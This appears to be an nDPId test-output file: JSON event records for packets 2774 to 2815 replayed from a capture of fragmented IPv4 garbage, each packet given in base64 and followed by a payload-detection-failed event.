+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132436,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132473,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132488,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132512,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132524,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132543,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132558,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132570,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132595,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132610,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132622,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132634,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132646,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132658,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132682,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132694,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132719,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132731,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132746,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132759,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132771,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132783,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132795,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132810,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132822,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132834,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132846,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132858,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132870,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132882,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132894,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132909,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132960,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132976,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244027,"pkt_ts_usec":132984,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 